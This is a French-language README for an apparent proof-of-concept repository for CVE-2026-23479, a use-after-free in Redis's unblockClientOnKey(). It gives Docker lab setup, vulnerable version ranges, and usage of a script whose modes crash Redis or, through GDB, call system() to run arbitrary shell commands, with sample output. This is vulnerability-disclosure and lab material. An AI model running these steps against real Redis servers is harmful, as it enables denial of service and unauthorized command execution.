
Preuve de concept avec exploitation assistée par GDB (usage éducatif / laboratoire uniquement)
Use-After-Free dans
unblockClientOnKey()de Redis conduisant à une exécution de code à distance
Preuve de concept avec exploitation assistée par GDB (usage pédagogique / laboratoire uniquement)
CVE-2026-23479 est une vulnérabilité critique de type Use‑After‑Free (UAF) dans les versions 7.2.0 à 8.6.2 de Redis.
Le bug se situe dans unblockClientOnKey(), qui appelle processCommandAndResetClient() sans vérifier sa valeur de retour.
Si le client est libéré pendant cet appel (par exemple à cause d'une éviction), l'appelant continue d'opérer sur un pointeur pendant → UAF.
Un attaquant capable de façonner le tas après la libération peut parvenir à une exécution de code arbitraire.
Ce dépôt fournit un PoC assisté par GDB qui :
freeClient())system() au même point⚠️ Important : il ne s'agit pas d'un exploit armé. GDB est utilisé dans un conteneur Docker privilégié pour simuler ce qu'un véritable attaquant pourrait accomplir après avoir réussi à exploiter l'UAF.
À utiliser uniquement dans votre propre laboratoire ou sur des systèmes pour lesquels vous avez l'autorisation explicite de tester.
crash, gdb, rce, full--containerXREAD BLOCK fait attendre le client pour des données de flux.pid 1) dans le conteneur.processCommandAndResetClient – la fonction appelée lorsque le client bloqué est retraité.XADD sur le même flux réveille la victime.gdb : appelle freeClient($rdi) → provoque délibérément un SIGSEGV → prouve l'UAF.rce : appelle system("votre commande") → exécute des commandes shell arbitraires en tant qu'utilisateur Redis (root par défaut).Le point d'arrêt se déclenche à chaque fois qu'un client bloqué est débloqué, montrant que le même chemin de code qui contient l'UAF permet également l'exécution de code.
| Branche | Plage vulnérable |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
Le script analyse automatiquement la version de Redis et indique si elle est vulnérable.
apt (par exemple l'image officielle redis:8.6.2)--privileged (requis pour ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # doit retourner PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Mode | Description |
|---|---|
crash | Tente de déclencher l'UAF via la pression mémoire (pas besoin de GDB). Redis peut planter, sans garantie. |
gdb | Attache GDB et appelle freeClient() au point d'arrêt → force un SIGSEGV (prouve l'UAF). |
rce | Attache GDB et appelle system(cmd) au point d'arrêt → exécute une commande shell dans le conteneur. |
full | Exécute crash d'abord ; si Redis ne plante pas, bascule sur gdb. |
| Argument | Défaut | Description |
|---|---|---|
target | (requis) | Adresse IP du serveur Redis |
-p, --port | 6379 | Port Redis |
-m, --mode | full | L'un des modes crash, gdb, rce, full |
--container | env-redis-vuln-1 | Nom du conteneur Docker |
--cmd | id > /tmp/pwned_by_cve | Commande à exécuter en mode rce |
Remarque : toutes les commandes sont exécutées depuis la machine hôte, pas à l'intérieur du conteneur Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis va planter après l'erreur de segmentation.
Redémarrez le conteneur :
docker start redis-vuln-local
Redémarrez Redis pour garantir un état propre :
docker restart redis-vuln-local
Exécutez l'exploit :
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Vérifiez le fichier de preuve :
docker exec redis-vuln-local ls -l /tmp/pwned
En cas de succès, le fichier existera, prouvant que :
system("touch /tmp/pwned");
a été exécuté dans le conteneur Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Si Redis se termine de manière inattendue (le conteneur n'est plus en cours d'exécution), l'UAF a probablement été déclenché.
Redémarrez-le avec :
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Ce mode :
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned